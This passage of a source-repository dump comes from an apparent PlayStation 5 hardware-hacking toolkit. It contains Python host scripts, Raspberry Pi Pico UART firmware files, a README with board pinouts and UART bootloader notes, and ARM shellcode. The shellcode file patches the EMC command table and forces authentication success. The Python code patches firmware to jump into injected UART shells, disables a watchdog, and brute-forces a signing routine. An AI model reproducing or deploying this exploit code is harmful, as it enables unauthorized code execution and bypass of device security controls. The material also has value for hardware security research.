if use_uart_shell: 720 | # We only modify cpu0. The other cores will still be running and 721 | # write a timeout error to uart ~3 seconds after we take over cpu0. 722 | # TODO quiesce other stuff. 723 | self.spi_write32(4, 0x1337) 724 | self.install_custom_cmd() 725 | self.ddr_write(0x18000000, load_bin("efc_uart_shell")) 726 | 727 | # patch efc's OpenCloseNandDaccess 728 | thunk = load_bin("efc_thunk") 729 | sc_addr = 0x4DBE64 730 | orig = self.fcddr_alias_read(sc_addr, len(thunk)) 731 | self.fcddr_alias_write(sc_addr, thunk) 732 | # trigger 733 | self._open_close_nand_access(0xDEAD) 734 | # restore - shellcode should disable caches 735 | self.fcddr_alias_write(sc_addr, orig) 736 | 737 | magic = self.spi_read32(0) 738 | print(f"{magic:x}") 739 | return magic == 0x1337 740 | 741 | # nop dram_mem_prot_lock call 742 | # self.fcddr_alias_write(0x4DBD6C, bytes.fromhex('00bf') * 2) 743 | 744 | # TODO supported way to set this via syspowdown 745 | # dpkrb_addr = 0x1762CC + 4 746 | # dpkrb_soft_reset = 0x10 747 | # dpkrb_sram_keep = 8 748 | # dpkrb = int.to_bytes(dpkrb_soft_reset | dpkrb_sram_keep, 2, 'little') 749 | # emc.emc_write(dpkrb_addr, dpkrb) 750 | 751 | # uart0_mute 752 | # 0x9086D8 1.00 broken console (Samsung) 753 | # 0x9086F8 3.00 dontstarve console (0A805M3 TOSHIBA) 754 | # a0tcm:00008454 CheckSramAddr 755 | # dram.text.cpu0:404DB2C9 NvmeCmd_Vsc_92_95_SramReadWrite 756 | 757 | def load_eap(self): 758 | eap_uart_shell = load_bin("eap_uart_shell") 759 | emc_dled_hook = load_bin("emc_dled_hook") 760 | # emc_dled_hook_wdt = load_bin('emc_dled_hook_wdt') 761 | 762 | self.unlock() 763 | self.install_custom_cmd() 764 | 765 | # dled_set 766 | self.emc_write(0x121988, emc_dled_hook) 767 | # wdt_deliver 768 | # self.emc_write(0x123F9C, emc_dled_hook_wdt) 769 | 770 | # ignore wdt_start request from eap_kbl 771 | self.emc_write(0x123FCA, bytes.fromhex("00bf00bf")) 772 | 773 | self.pg2_on() 774 | self.efc_on() 775 | 776 | # dummy fw load + map to expose ddr4 over pcie 777 | self.load_fw(FW_WIFI, 1, 0x1000000) 778 | self.setup_bar(0, 0, 0) 779 | 780 | # place shell in location that will persist across kernel load 781 | self.ddr_write(0x18000000, eap_uart_shell) 782 | 783 | # A344 caches_clean_invalidate_all 784 | 785 | # disable mmu + caches, clean/invalidate caches, jump to shell 786 | self.ddr_write( 787 | 0x18800000, 788 | struct.pack("<2I", 0x58800000 + 4 * 2 + 0x1C, 0x0000D274) 789 | + struct.pack("<9I", 4, 0xB0AC, 0xC50078, 7, 8, 9, 10, 0x58800000 + 4 * (2 + 9 * 1) + 0x1C, 0x0000D274) 790 | + struct.pack("<9I", 4, 0xA344, 6, 7, 8, 9, 10, 0x58800000 + 4 * (2 + 9 * 2) + 0x1C, 0x0000D274) 791 | + struct.pack("<9I", 4, 0x58000000, 6, 7, 8, 9, 10, 0x58800000 + 4 * (2 + 9 * 3) + 0x1C, 0x0000D274), 792 | ) 793 | 794 | # run eap_kbl 795 | self.efc_off() 796 | self.eap_on() 797 | 798 | def read_fw11_mmio_bindings(self): 799 | offsets = [0x7404, 0x7408, 0x7420, 0x7424] 800 | for offset in offsets: 801 | val = self.emc_read32(0x5f000000 + offset) 802 | print(f'{offset:8x}: {val:8x}') 803 | 804 | def pico_reset(self): 805 | return self.cmd_send_recv('picoreset') 806 | 807 | def pico_emc_reset(self): 808 | return self.cmd_state_change('picoemcreset') 809 | 810 | def _pico_emc_rom(self, cmd: str): 811 | return self.cmd_send_recv(f'picoemcrom {cmd}') 812 | 813 | def pico_emc_rom_enter(self): 814 | return self._pico_emc_rom('enter') 815 | 816 | def pico_emc_rom_exit(self): 817 | return self._pico_emc_rom('exit') 818 | 819 | def pico_chip_const(self, version): 820 | return self.cmd_send_recv(f'picochipconst {version}') 821 | 822 | def pico_set_chip_salina(self): 823 | return self.pico_chip_const('salina') 824 | 825 | def pico_set_chip_salina2(self): 826 | return self.pico_chip_const('salina2') 827 | 828 | def pico_fw_const(self, version: str, buf_addr: int, sc: bytes): 829 | version = version.replace(' ', '.') 830 | return self.cmd_send_recv(f'picofwconst {version} {buf_addr:x} {sc.hex()}') 831 | 832 | def pico_fw_const_test(self, buf_addr: int): 833 | #buf_addr = 0x19261c 834 | #buf_addr = 0x165AE8 835 | sc = load_bin('emc_shellcode') 836 | return self.pico_fw_const('E1E 0001 0008 0002 1B03', buf_addr, sc) 837 | 838 | def try_unlock(self): 839 | while True: 840 | frames = self.unlock() 841 | rv = frames[0] 842 | if rv.is_ok(): 843 | return 844 | self.wait_frame(ResultType.kInfo, timeout=5) 845 | 846 | def parse_hexdump(path: Path): 847 | data = [] 848 | with path.open("r") as f: 849 | for l in f.readlines(): 850 | l = l.split() 851 | if l[0] != "m": 852 | continue 853 | width = len(l[2]) // 2 854 | data.extend(map(lambda x: int(x, 16).to_bytes(width, "little"), l[2:])) 855 | return b"".join(data) 856 | 857 | 858 | def parse_hexdump2(path: Path): 859 | data = [] 860 | with path.open("r") as f: 861 | for l in f.readlines(): 862 | l = l.split() 863 | if not (l[0] == "#" and l[1][-1] == ":"): 864 | continue 865 | width = len(l[2]) // 2 866 | data.extend(map(lambda x: int(x, 16).to_bytes(width, "little"), l[2:])) 867 | return b"".join(data) 868 | 869 | 870 | def hexdump_to_bin(fname): 871 | path = Path(fname) 872 | data = parse_hexdump(path) 873 | path.with_suffix(".bin").open("wb").write(data) 874 | 875 | 876 | def efc_test(): 877 | # efc = Efc() 878 | emc = Ucmd() 879 | # efc.nand_open_safe() 880 | # efc.cmd('mount') 881 | # efc.cmd('startcoreactivity') 882 | # for i in range(0, FW_SIZES[FW_WIFI], 0x1000): 883 | # efc.read_mem(0x41000000 + i, 0x1000 // 4, 4) 884 | # efc.cmd('memset 40004900 ca 100') 885 | # efc.read_mem(0x40004900, 0x100, 1) 886 | # efc.cmd('rdpp 00 100 40004900') 887 | # efc.read_mem(0x10122000, 0x100//4, 4) 888 | # efc.read_mem(0x10123000, 0x100//4, 4) 889 | # efc.cmd('VSC_SNEM 1') 890 | # efc.cmd('VSC_RPP 0 0 0 0 0 0 0 0 0 0') 891 | # efc.read_mem(0x1000000, 0x100, 4) 892 | # efc.cmd('getf a7') 893 | # efc.cmd('seqrw 0 1 0 1') 894 | # efc.pkg_cfg_auto() 895 | # for i in range(256): efc.bcm_get_version_info(i << 24) 896 | # efc.read_mem(0x41000000, 0x200, 1) 897 | # while True: efc._read_event() 898 | code.InteractiveConsole(locals=dict(globals(), **locals())).interact("Entering shell...") 899 | 900 | 901 | def test_efc_on(): 902 | emc = Ucmd() 903 | emc.screset() 904 | emc.unlock() 905 | emc.install_custom_cmd() 906 | emc.titania_spi_init() 907 | """ 908 | pg2on 909 | # [PSQ] [BT WAKE Disabled Start] 910 | # [PSQ] [GDDR6/NAND Voltage Setting Start] 911 | # [PSQ] [Titania PMIC Register Initialize Start] 912 | # [PSQ] [Power Group 2 ON Start] 913 | # [PSQ] [PCIe Redriver EQ Setting Start] 914 | # [PSQ] [GPI SW Open Start] 915 | # [PSQ] [WLAN Module USB Enable Start] 916 | $$ [MANU] PG2 ON 917 | # [PSQ] [BT WAKE Enabled Start] 918 | efcon 919 | # [PSQ] [10GbE NIC Reset de-assert Start] 920 | # [PSQ] [SB PCIe initialization EFC Start] 921 | # [PSQ] [EFC Boot Mode Set Start] 922 | # [PSQ] [Flash Controller ON EFC Start] 923 | # [PSQ] [Floyd Reset De-assert Start] 924 | # [PSQ] [Subsystem PCIe USP Enable Start] 925 | # [PSQ] [Subsystem PCIe DSP Enable Start] 926 | # [PSQ] [Flash Controller Initialization EFC Start] 927 | $$ [MANU] EFC ON 928 | """ 929 | gddr6_nand_seq = [] # 0x207b,0x207c,0x207d] 930 | titania_pmic_init = [] # 0x217a] 931 | pg2_on_seq = [] # 0x200c,0x2109,0x200d,0x2011,0x200e,0x200f,0x2010,0x202e,0x2006] 932 | sb_pcie_init_efc_seq = [] # 0x201a,0x2030,0x2031] 933 | # we'll set these gpio ourself, but need 208d to setup ports 934 | efc_boot_mode_seq = [0x208D] # ,0x210b,0x210c,0x210d] 935 | # 201d: 5F007404 |= 0x1000, 5F007414 |= 0x40. both are needed 936 | # 2089: inits titania spi ports 937 | fc_on_efc_seq = [ 938 | 0x201D, 939 | # 0x2027,0x2110,0x2033, 940 | 0x2089, 941 | # 0x2035 942 | ] 943 | emc.pg2_fc_rails_set(True) 944 | # emc.fc_reset_set(True) 945 | for seq in gddr6_nand_seq: 946 | emc.runseq(seq) 947 | for seq in titania_pmic_init: 948 | emc.runseq(seq) 949 | for seq in pg2_on_seq: 950 | emc.runseq(seq) 951 | for seq in sb_pcie_init_efc_seq: 952 | emc.runseq(seq) 953 | for seq in efc_boot_mode_seq: 954 | emc.runseq(seq) 955 | emc.fc_bootmode_set(True) 956 | emc.fc_cpu_set(False) 957 | for seq in fc_on_efc_seq: 958 | emc.runseq(seq) 959 | # some clocks? both pause/resume efc at will 960 | # emc.emc_or32(0x5F007404, 0x1000) 961 | # emc.emc_or32(0x5F007414, 0x40) 962 | emc.fc_reset_set(False) 963 | 964 | 965 | def console(): 966 | emc = Ucmd() 967 | # emc.screset() 968 | # emc.unlock() 969 | # efc = Efc() 970 | # assert emc.unlock_efc(True) 971 | # efc._rx_discard_all() 972 | # efc.port.write(struct.pack('<2I', 0, 0xdeadbeef)) 973 | # print(efc._read(4).hex()) 974 | code.InteractiveConsole(locals=dict(globals(), **locals())).interact("Entering shell...") 975 | 976 | 977 | def read_irq_timestamps(efc): 978 | efc.read_mem(0x9088F0, 0x10 // 4, 4) 979 | 980 | 981 | def test_rom0(): 982 | efc = Efc() 983 | cpu0_rom_ctrl = 0x10115000 + 0x10 984 | ctrl = 0x01500000 985 | # (1 << 13) # error status reset. clears bit 9 once set. if ecc_enable[15]==1. 986 | # ctrl |= 1 << 14 # test data select. takes 38bit input from regs 987 | ctrl |= 1 << 15 # ecc enable. doesn't seem to have effect. reg+8 is somehow input. can't use test data input? 988 | # ctrl |= 1 << 31 # powerdown enable 989 | efc.mem_write32(cpu0_rom_ctrl, ctrl) 990 | efc.mem_write32(cpu0_rom_ctrl, ctrl | (1 << 13)) 991 | efc.mem_write32(cpu0_rom_ctrl, ctrl) 992 | efc.mem_write32(cpu0_rom_ctrl + 4, 0) 993 | efc.mem_write32( 994 | cpu0_rom_ctrl + 8, 0 995 | ) # no effect on status bits when using test data input(?). bit 31 is write-only, read as 0. 996 | efc.read_mem(cpu0_rom_ctrl, 3, 4) 997 | 998 | for i in range(0x10): 999 | efc.mem_write32(cpu0_rom_ctrl + 4, i) 1000 | efc.mem_write32(cpu0_rom_ctrl + 8, (1 << 31) | i) 1001 | efc.read_mem(cpu0_rom_ctrl, 3, 4) 1002 | efc.mem_write32(cpu0_rom_ctrl, ctrl | (1 << 13)) 1003 | efc.mem_write32(cpu0_rom_ctrl, ctrl | i) 1004 | 1005 | 1006 | # efc.mem_write32(0x10112090, 0xffffffe8 &~ (1<<24)) 1007 | # will cause ipc timeout -> crash (stopping some cpu clock) 1008 | 1009 | 1010 | class UcmdContext: 1011 | def __enter__(self): 1012 | self.ctx = Ucmd() 1013 | return self.ctx 1014 | 1015 | def __exit__(self, exc_type, exc_value, traceback): 1016 | self.ctx.port.close() 1017 | 1018 | 1019 | class UartContext: 1020 | def __enter__(self): 1021 | import uart_client 1022 | 1023 | # efc: 230400*2, eap: 230400*3 1024 | self.ctx = uart_client.Client("COM19", 230400*2) 1025 | return self.ctx 1026 | 1027 | def __exit__(self, exc_type, exc_value, traceback): 1028 | self.ctx.port.close() 1029 | 1030 | 1031 | def test_bcm_shit(): 1032 | with UcmdContext() as emc: 1033 | emc.screset() 1034 | emc.load_eap() 1035 | with UartContext() as eap: 1036 | for i in trange(0x100, desc="bruting"): 1037 | rv = eap.bcm_rsapss_sign_prepare(0xC0, 0, (i).to_bytes(3, "big")) 1038 | # print(f'{i:8x} {rv}') 1039 | if rv != 288: 1040 | print(f"got {rv} @ {i}") 1041 | exit() 1042 | eap.reinstall_hax() 1043 | emc.fc_reset_set(True) 1044 | emc.fc_reset_set(False) 1045 | while True: 1046 | try: 1047 | if eap.ping(): 1048 | break 1049 | except: 1050 | pass 1051 | 1052 | 1053 | def test_efc(): 1054 | emc = Ucmd() 1055 | emc.screset() 1056 | emc.unlock() 1057 | assert emc.unlock_efc(True) 1058 | import time 1059 | time.sleep(3) # tmp to avoid other cpus complaining 1060 | import uart_client 1061 | efc = uart_client.Client("COM19", 230400*2) 1062 | code.InteractiveConsole(locals=dict(globals(), **locals())).interact("Entering shell...") 1063 | 1064 | if __name__ == "__main__": 1065 | # test_bcm_shit() 1066 | console() 1067 | #test_efc() 1068 | exit() 1069 | efc = Efc() 1070 | for i in range(0x10): 1071 | sspm = 0x1B200000 1072 | size = 0x100 1073 | efc.dmac_set_addr_zones(0, i) 1074 | efc.dmac_copy(sspm, 0, size) 1075 | efc.mem_read_buf(sspm, size) 1076 | exit() 1077 | emc = Ucmd() 1078 | emc.screset() 1079 | emc.load_eap() 1080 | exit() 1081 | if "emc" in sys.argv: 1082 | emc_hax() 1083 | if "efc" in sys.argv: 1084 | efc_hax() 1085 | if len(sys.argv) == 1: 1086 | efc_test() 1087 | if "trig" in sys.argv: 1088 | emc = Ucmd() 1089 | emc.fcddr_read(0x1000000, 0x200) 1090 | if len(sys.argv) > 2 and "conv" == sys.argv[1]: 1091 | hexdump_to_bin(sys.argv[2]) 1092 | -------------------------------------------------------------------------------- /uart/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.28) 2 | 3 | # Pull in SDK (must be before project) 4 | set(PICO_SDK_PATH ${CMAKE_CURRENT_SOURCE_DIR}/../../pico-sdk) 5 | if(NOT EXISTS ${PICO_SDK_PATH}) 6 | include(FetchContent) 7 | FetchContent_Declare( 8 | pico_sdk 9 | GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk 10 | GIT_TAG master 11 | GIT_SUBMODULES_RECURSE FALSE 12 | ) 13 | message("Downloading Raspberry Pi Pico SDK") 14 | FetchContent_Populate(pico_sdk) 15 | set(PICO_SDK_PATH ${pico_sdk_SOURCE_DIR}) 16 | endif() 17 | include(${PICO_SDK_PATH}/pico_sdk_init.cmake) 18 | 19 | set(PICO_BOARD "pico") 20 | 21 | project(uart C CXX ASM) 22 | set(CMAKE_C_STANDARD 23) 23 | set(CMAKE_C_STANDARD_REQUIRED TRUE) 24 | set(CMAKE_CXX_STANDARD 23) 25 | set(CMAKE_CXX_STANDARD_REQUIRED TRUE) 26 | 27 | # Initialize the SDK 28 | pico_sdk_init() 29 | 30 | option(ENABLE_DEBUG_STDIO 31 | "Creates additional cdc interface (0) for stdout/stdin; enables some debug spew") 32 | 33 | add_executable(uart) 34 | 35 | # so tusb_config.h can be found 36 | target_include_directories(uart PRIVATE 37 | ${CMAKE_CURRENT_LIST_DIR}/config 38 | ) 39 | 40 | target_sources(uart PRIVATE 41 | ps5_uart.cpp 42 | ) 43 | 44 | target_compile_options(uart PRIVATE 45 | -Wall 46 | -Werror 47 | # silences cryptic gcc warning: 48 | # note: parameter passing for argument of type 'std::format_args' 49 | # {aka 'std::basic_format_args, char> >'} 50 | # changed in GCC 9.1 51 | # https://gcc.gnu.org/gcc-9/changes.html 52 | # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=88469 53 | -Wno-psabi 54 | ) 55 | 56 | target_link_libraries(uart PRIVATE 57 | pico_runtime 58 | tinyusb_device 59 | ) 60 | 61 | pico_enable_stdio_uart(uart DISABLED) 62 | 63 | if(ENABLE_DEBUG_STDIO) 64 | target_compile_definitions(uart PRIVATE ENABLE_DEBUG_STDIO) 65 | target_link_libraries(uart PRIVATE pico_stdlib) 66 | pico_enable_stdio_usb(uart ENABLED) 67 | endif() 68 | 69 | pico_add_extra_outputs(uart) 70 | 71 | install(FILES ${CMAKE_BINARY_DIR}/uart.uf2 TYPE BIN) 72 | -------------------------------------------------------------------------------- /uart/README.md: -------------------------------------------------------------------------------- 1 | ## 24 pin header near salina (EDM-010) 2 | ``` 3 | emc header 4 | 1 5v 5 | 2 5v 6 | 3 gnd 7 | 4 gnd 8 | 5 emc gpio a1. pulling low at emc boot causes emc rom to enter uart shell @ 460800 9 | 6 uart rx emc 115200 10 | 7 uart tx emc 115200 11 | 8 3v3, goes low when emc resets 12 | 9 0v? 13 | 10 gnd 14 | 11 titania uart0 tx (efc fw: 460800) 15 | 12 titania uart0 rx (efc fw: 460800) 16 | 13 titania uart1 rx (bootrom: 460800, eap fw, apu: 230400) 17 | 14 titania uart1 tx (bootrom: 460800, eap fw, apu: 230400) 18 | 15 gnd 19 | 16 emc gpio c5 ("GPI SW" (only used if devif_det# active)) 20 | 17 0v? 21 | 18 5v? 22 | 19 emc gpio a49 (devif_det#) 23 | 20 emc gpio a27. main power switch 24 | 21 i2c data (i2c_bus_4) 25 | 22 i2c clock (i2c_bus_4) 26 | 23 gnd 27 | 24 emc reset# 28 | 29 | i2c_bus_4 contains mainly power management stuff: 30 | (7bit addrs, 400khz) 31 | 1f pca9557_gpioexpander CP/dev only 32 | 2c ad5272_nand titania nand 33 | 2e ad5272_g6_2 gddr6 34 | 2f ad5272_g6_1 gddr6 35 | 51 rt5127_pmic titania pmic 36 | 58 ds80pci102_redriver 37 | 64 rt5069_pmic salina pmic. actually rt5126 (EDM-010) or da9081 (EDM-020) on ps5 38 | 39 | emc gpio a 4,5,6,7(cs0:efc),8(cs1:floyd) - emc-efc spi bus (shared with floyd) 40 | 41 | emc gpio a16 goes to rt5126 pin 13/rt5127 pin 44. set hi with pg2 42 | 43 | emc gpio a29 - efc reset# 44 | emc gpio a30 - titania bootmode (0: nand, 1: uart) 45 | to patch out emc's efc irq handler: emc.fcddr_write(0xa0113200, bytes.fromhex('7047')) 46 | prevents eventflg 8 being sent to task 47 | uart boot is on uart1 (eap uart @ 460800). 48 | known cmds: 49 | info: prints "t2.0.100.041\nEC5E98BF84CC.C.1" 50 | down: enters xmodem1k/crc 51 | 0x03060000 when hdr.cpu is 0x99 52 | run: (sigchecks/decrypts?) downloaded data and execs 53 | 0x030B0000 if called without doing down first 54 | 0x06020000 if passed completely invalid data 55 | 0x06020001 if hdr.cpu is 4. weird!! 56 | 0x010100xx if hdr.cpu is not in (1,2,4). xx is hdr.cpu value (probably generic "invalid value" errorcode) 57 | unknown cmds return 0x030D0000 58 | errors get logged into "fw0" region of titania spi 59 | note: reading spi seems to kill rom 60 | emc gpio a31 - titania cpu select (0: efc, 1: eap) 61 | emc gpio a38 - efc to emc cmd irq (emc waits for it to be triggered after efc released from reset) 62 | 63 | rt5126 - rt5127 connections 64 | 13 44 (emc gpio a16) 65 | 14 45 66 | 15 46 67 | ``` 68 | 69 | ## pico wiring 70 | ``` 71 | pico emc header 72 | 1 6 73 | 2 7 74 | 3 4 75 | 4 5 76 | 5 24 77 | 11 12 78 | 12 11 79 | ``` 80 | `emc reset#` is used to detect liveness and reset emc in case of crash. 81 | 82 | The button on the pico will reset it to flash mode. 83 | 84 | Note: If you only want access to EMC, you can use connectors near bt/wifi module: 85 | ![emc_header_dupe_near_wifi](notes/emc_header_dupe_near_wifi.jpg) 86 | (markings relate to "emc header" pinout, above) 87 | 88 | ## host pc setup 89 | If `ENABLE_DEBUG_STDIO` cmake option is set, cdc interface 0 will be taken by pico sdk stdout/stdin. It's standard 115200 baud 8n1. Can be used for debugging pcio fw. 90 | 91 | The other interfaces are emc and titania. The uart port settings (cdc line coding) for emc are ignored - the pico sets up actual uarts in proper way. For titania, baudrate is configurable from host. 92 | 93 | Note: 94 | emc considers `\n` as end of cmd (configurable). echos input 95 | efc considers `\r` as end of cmd. echos `\r\n` for input `\r` 96 | 97 | ### salina (first interface) 98 | The emc interface is line buffered on the pico. The pico takes care of checksums. Just send it normal umcd cmds in the form ` [args..]\n`. All data being sent to the host pc on this interface is framed so as to make writing client code easier (see `Result::to_usb_response`). 99 | 100 | There are currently the following special cmds: 101 | |cmd|notes| 102 | |-|-| 103 | | `unlock` | performs the emc exploit if needed | 104 | | `picoreset` | resets the pico to flash mode | 105 | | `picoemcreset` | reset emc via `emc reset#` | 106 | | `picoemcrom` | reset emc into/out of rom (uart bootloader) mode and configure pico as needed | 107 | | `picochipconst` | installs constants to use for an emc hw version | 108 | | `picofwconst` | installs constants/shellcode to use for an emc fw version | 109 | 110 | ### titania (second interface) 111 | This is just raw uart, data is just passed between host and titania bytewise as available. 112 | -------------------------------------------------------------------------------- /uart/button.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | // cursed code from pico-examples to get state of bootsel button 10 | bool __no_inline_not_in_flash_func(get_bootsel_button)() { 11 | const uint CS_PIN_INDEX = 1; 12 | 13 | // Must disable interrupts, as interrupt handlers may be in flash, and we 14 | // are about to temporarily disable flash access! 15 | uint32_t flags = save_and_disable_interrupts(); 16 | 17 | // Set chip select to Hi-Z 18 | hw_write_masked(&ioqspi_hw->io[CS_PIN_INDEX].ctrl, 19 | GPIO_OVERRIDE_LOW << IO_QSPI_GPIO_QSPI_SS_CTRL_OEOVER_LSB, 20 | IO_QSPI_GPIO_QSPI_SS_CTRL_OEOVER_BITS); 21 | 22 | #pragma GCC diagnostic push 23 | #pragma GCC diagnostic ignored "-Wvolatile" 24 | 25 | // Note we can't call into any sleep functions in flash right now 26 | for (volatile int i = 0; i < 1000; ++i) 27 | ; 28 | 29 | #pragma GCC diagnostic pop 30 | 31 | // The HI GPIO registers in SIO can observe and control the 6 QSPI pins. 32 | // Note the button pulls the pin *low* when pressed. 33 | bool button_state = !(sio_hw->gpio_hi_in & (1u << CS_PIN_INDEX)); 34 | 35 | // Need to restore the state of chip select, else we are going to have a 36 | // bad time when we return to code in flash! 37 | hw_write_masked(&ioqspi_hw->io[CS_PIN_INDEX].ctrl, 38 | GPIO_OVERRIDE_NORMAL << IO_QSPI_GPIO_QSPI_SS_CTRL_OEOVER_LSB, 39 | IO_QSPI_GPIO_QSPI_SS_CTRL_OEOVER_BITS); 40 | 41 | restore_interrupts(flags); 42 | 43 | return button_state; 44 | } 45 | -------------------------------------------------------------------------------- /uart/config/tusb_config.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define CFG_TUSB_RHPORT0_MODE OPT_MODE_DEVICE 6 | 7 | //#define CFG_TUSB_DEBUG 2 8 | 9 | //#define CFG_TUD_ENABLED 1 10 | 11 | #ifdef ENABLE_DEBUG_STDIO 12 | #define CFG_TUD_CDC 3 13 | #else 14 | #define CFG_TUD_CDC 2 15 | #endif 16 | #define CFG_TUD_CDC_RX_BUFSIZE 256 17 | #define CFG_TUD_CDC_TX_BUFSIZE 256 18 | -------------------------------------------------------------------------------- /uart/emc_shellcode.S: -------------------------------------------------------------------------------- 1 | @ arm-none-eabi-as -o emc_shellcode emc_shellcode.S 2 | @ arm-none-eabi-objcopy -O binary emc_shellcode 3 | @ TODO autogenerate at build time? 8) 4 | .syntax unified 5 | .arch armv7-m 6 | .thumb 7 | 8 | // E1E 0001 0000 0004 13d0 9 | //.equ shellcode_addr, 0x1762E8 + 0xc * 2 10 | //.equ auth_status_set, 0x120F94|1 11 | //.equ ucmd_cmds_0, 0x157600 12 | //.equ ucmd_iface_0_cmd_table, 0x173F68 + 0x78 13 | //.equ hcmd_log_flag, 0x175724 14 | 15 | // E1E 0001 0002 0003 1580 16 | //.equ shellcode_addr, 0x17DE38 + 0xc * 2 17 | //.equ auth_status_set, 0x122830|1 18 | //.equ ucmd_cmds_0, 0x15A330 19 | //.equ ucmd_iface_0_cmd_table, 0x17A674 + 0x78 20 | //.equ hcmd_log_flag, 0x17D240 21 | 22 | // E1E 0001 0004 0002 1752 23 | //.equ shellcode_addr, 0x184D9C + 0xc * 2 24 | //.equ auth_status_set, 0x124308|1 25 | //.equ ucmd_cmds_0, 0x15D37C 26 | //.equ ucmd_iface_0_cmd_table, 0x181148 + 0x78 27 | //.equ hcmd_log_flag, 0x183F14 28 | 29 | // E1E 0001 0008 0002 1B03 30 | //.equ shellcode_addr, 0x19261C + 0xc * 2 31 | .equ auth_status_set, 0x1279BC|1 32 | .equ ucmd_cmds_0, 0x165AE8 33 | .equ ucmd_iface_0_cmd_table, 0x18E218 + 0x78 34 | .equ hcmd_log_flag, 0x191730 35 | 36 | @.org shellcode_addr 37 | 38 | push {lr} 39 | 40 | @ restore cmd_table 41 | movw r0, #:lower16:ucmd_cmds_0 42 | movt r0, #:upper16:ucmd_cmds_0 43 | movw r1, #:lower16:ucmd_iface_0_cmd_table 44 | movt r1, #:upper16:ucmd_iface_0_cmd_table 45 | str r0, [r1] 46 | 47 | movs r0, #1 48 | @ enable spew of hcmd packet data 49 | @ this isn't really needed 50 | movw r1, #:lower16:hcmd_log_flag 51 | movt r1, #:upper16:hcmd_log_flag 52 | str r0, [r1] 53 | 54 | @ set auth success 55 | movw r1, #:lower16:auth_status_set 56 | movt r1, #:upper16:auth_status_set 57 | blx r1 58 | 59 | pop {pc} 60 | -------------------------------------------------------------------------------- /uart/i2c_bus.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | 8 | #include "string_utils.h" 9 | #include "types.h" 10 | 11 | // This wound up not being useful, as while writing 0 to rt5126 reg 0x2c does 12 | // turn off the rail for salina, there's no way to turn it back on - rt5126 13 | // seems to be on same rail or something (haven't looked into it). 14 | 15 | /* 16 | i2c addr: 64 (rt5069/rt5126 salina pmic) 17 | this matches init table in emc fw 18 | 82 24 24 66 66 68 21 64 03 00 00 00 a0 00 00 00 19 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 | 00 00 00 00 00 00 00 00 00 00 12 7f 7f b3 00 00 21 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 25 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 27 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 29 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 | 02 00 17 06 60 16 16 01 08 6b 02 13 09 1b 06 15 31 | 0a 19 04 1a 0a 0b 29 4c 50 42 b5 35 21 64 01 05 32 | 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 | i2c addr: 51 (rt5127 titania pmic) 35 | 82 8a ff 55 55 06 15 44 00 00 00 00 00 00 00 00 36 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 37 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 | 00 00 00 d5 70 00 10 56 19 00 08 b1 00 00 00 20 44 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 | 00 fa 01 1c 01 02 46 41 06 bd cd 37 08 1a 0c 1e 46 | 0b 1f 00 01 00 00 00 00 00 00 00 00 00 00 00 01 47 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 51 | */ 52 | 53 | struct I2cBus { 54 | I2cBus() { 55 | // i2c0 can be on gpio 4,5 (pico_w pins 6,7) 56 | constexpr uint sda_gpio = 4; 57 | constexpr uint scl_gpio = 5; 58 | gpio_set_function(sda_gpio, GPIO_FUNC_I2C); 59 | gpio_set_function(scl_gpio, GPIO_FUNC_I2C); 60 | gpio_pull_up(sda_gpio); 61 | gpio_pull_up(scl_gpio); 62 | 63 | inst_ = i2c_get_instance(0); 64 | i2c_init(inst_, 400'000); 65 | } 66 | bool convert_err(int err, size_t expected) const { 67 | if (static_cast(err) == expected) { 68 | return true; 69 | } 70 | if (err == PICO_ERROR_GENERIC) { 71 | puts("addr nak"); 72 | } else if (err == PICO_ERROR_TIMEOUT) { 73 | puts("timeout"); 74 | } 75 | return false; 76 | } 77 | bool write(u8 addr, const u8* buf, size_t len, bool nostop = false) const { 78 | const auto rv = i2c_write_timeout_per_char_us(inst_, addr, buf, len, nostop, 79 | timeout_per_char_us_); 80 | return convert_err(rv, len); 81 | } 82 | bool read(u8 addr, u8* buf, size_t len, bool nostop = false) const { 83 | const auto rv = i2c_read_timeout_per_char_us(inst_, addr, buf, len, nostop, 84 | timeout_per_char_us_); 85 | return convert_err(rv, len); 86 | } 87 | template 88 | bool reg_read(u8 addr, RegType reg, ValType* val) const { 89 | if (!write(addr, reinterpret_cast(®), sizeof(reg), true)) { 90 | return false; 91 | } 92 | return read(addr, val, sizeof(*val)); 93 | } 94 | template 95 | bool reg_write(u8 addr, RegType reg, ValType val) const { 96 | u8 buf[sizeof(reg) + sizeof(val)]; 97 | 